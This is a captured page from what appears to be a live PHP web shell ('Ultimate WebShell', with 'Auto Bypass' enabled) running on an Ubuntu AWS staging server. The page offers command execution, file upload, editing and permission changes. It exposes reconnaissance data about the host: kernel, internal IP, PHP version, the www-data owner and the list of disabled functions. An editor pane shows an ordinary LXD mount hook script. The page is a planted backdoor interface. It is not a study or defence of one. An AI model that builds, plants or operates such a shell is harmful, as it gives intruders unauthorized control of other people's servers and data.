WebShell Manager
Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64
Apache
Server: 172.31.9.152
Your IP: 216.73.216.236
System Info
HOME
snap
lxd
38688
lxcfs
Command Execution
Execute
File Upload
Upload
New Folder
New File
Name
Type
Size
Permissions
Modified
Actions
..
Parent
-
drwxr-xr-x
2026-03-27 11:19:53
-
lxc.mount.hook
File
3.75 KB
0755
2026-03-27 11:01:52
lxc.reboot.hook
File
26 B
0755
2026-03-27 11:01:51
0
items selected
Choose Action...
Delete Selected
Zip Selected
Unzip Selected
Execute Action
Clear Selection
© Ultimate WebShell | Auto Bypass Enabled
Create New Folder
Create New File
Edit File: lxc.mount.hook
#!/bin/sh -e # Parse command flags while [ ! $# -eq 0 ] do case "$1" in --skip-cgroup-mounts ) SKIP_CGROUP_MOUNTS=1 ;; esac shift done # We're dealing with mount entries, so expand any symlink LXC_ROOTFS_MOUNT=$(readlink -f ${LXC_ROOTFS_MOUNT}) # /proc files if [ -d /var/snap/lxd/common/var/lib/lxcfs/proc/ ]; then for entry in /var/snap/lxd/common/var/lib/lxcfs/proc/*; do [ -e "${LXC_ROOTFS_MOUNT}/proc/$(basename $entry)" ] || continue mount -n --bind $entry ${LXC_ROOTFS_MOUNT}/proc/$(basename $entry) done fi # /sys/devices/system/cpu if [ -d /var/snap/lxd/common/var/lib/lxcfs/sys/devices/system/cpu ] ; then for entry in /var/snap/lxd/common/var/lib/lxcfs/sys/devices/system/cpu/*; do [ -e "${LXC_ROOTFS_MOUNT}/sys/devices/system/cpu/$(basename $entry)" ] || continue mount -n --bind $entry ${LXC_ROOTFS_MOUNT}/sys/devices/system/cpu/$(basename $entry) done fi # Allow nesting lxcfs if [ -d "${LXC_ROOTFS_MOUNT}/var/snap/lxd/" ]; then rm -Rf "${LXC_ROOTFS_MOUNT}/var/snap/lxd/common/var/lib/lxcfs" mkdir -p "${LXC_ROOTFS_MOUNT}/var/snap/lxd/common/var/lib/lxcfs" mount -n --bind /var/snap/lxd/common/var/lib/lxcfs "${LXC_ROOTFS_MOUNT}/var/snap/lxd/common/var/lib/lxcfs/" fi # For backward compatibility, hand `/var/lib/lxcfs` through the host to # the container being as the lxcfs mount point. if [ -d "${LXC_ROOTFS_MOUNT}/var/lib/lxcfs/" ]; then mount -n --bind /var/snap/lxd/common/var/lib/lxcfs "${LXC_ROOTFS_MOUNT}/var/lib/lxcfs/" fi # no need for lxcfs cgroups if we have cgroup namespaces [ -n "$LXC_CGNS_AWARE" ] && [ -f /proc/self/ns/cgroup ] && exit 0 # Don't mess with containers that don't have /sys/fs/cgroup configured # (lxc.mount.auto = cgroup:mixed) if touch ${LXC_ROOTFS_MOUNT}/sys/fs/cgroup/lxcfs; then rm ${LXC_ROOTFS_MOUNT}/sys/fs/cgroup/lxcfs else exit 0 fi # Skip mounting cgroup tree if requested. if [ "${SKIP_CGROUP_MOUNTS}" == "1" ]; then exit 0 fi # /sys/fs/cgroup files if [ -d "${LXC_ROOTFS_MOUNT}/sys/fs/cgroup" ]; then if [ -d /var/snap/lxd/common/var/lib/lxcfs/cgroup ]; then # Cleanup existing mounts for entry in ${LXC_ROOTFS_MOUNT}/sys/fs/cgroup/*; do DEST=$(basename $entry) if [ "${DEST}" = "cgmanager" ]; then continue fi if [ ! -d "${LXC_ROOTFS_MOUNT}/sys/fs/cgroup/${DEST}" ]; then continue fi while grep -q "${LXC_ROOTFS_MOUNT}/sys/fs/cgroup/${DEST}" /proc/self/mountinfo; do grep "${LXC_ROOTFS_MOUNT}/sys/fs/cgroup/${DEST}" /proc/self/mountinfo | cut -d' ' -f5 | while read line; do [ -e "${line}" ] && umount -l "${line}" || true done done rm -Rf ${LXC_ROOTFS_MOUNT}/sys/fs/cgroup/${DEST} done # Mount the new entries for entry in /var/snap/lxd/common/var/lib/lxcfs/cgroup/*; do DEST=$(basename $entry) if [ "$DEST" = "name=systemd" ]; then DEST="systemd" fi if [ ! -d ${LXC_ROOTFS_MOUNT}/sys/fs/cgroup/${DEST} ]; then mkdir ${LXC_ROOTFS_MOUNT}/sys/fs/cgroup/${DEST} fi mount -n --bind $entry ${LXC_ROOTFS_MOUNT}/sys/fs/cgroup/$DEST # make sure that cpu,cpuacct shows up as cpu and cpuacct # separately, else systemd is unhappy if echo $DEST | grep -q ","; then arr=$(echo $DEST | tr "," "\n") for single in $arr do if [ ! -L ${LXC_ROOTFS_MOUNT}/sys/fs/cgroup/$single ]; then ln -s $DEST ${LXC_ROOTFS_MOUNT}/sys/fs/cgroup/$single fi done fi done fi fi exit 0
Rename
Change Permissions
Common permissions: 755 (rwxr-xr-x), 644 (rw-r--r--), 777 (rwxrwxrwx)
System Information
Uname: Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64 Software: Apache PHP Version: 7.4.3-4ubuntu2.29 Protocol: HTTP/1.1 Server IP: 172.31.9.152 Your IP: 216.73.216.236 Mail: ON Curl: ON Owner: www-data MySQL: ON Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Auto Bypass: ENABLED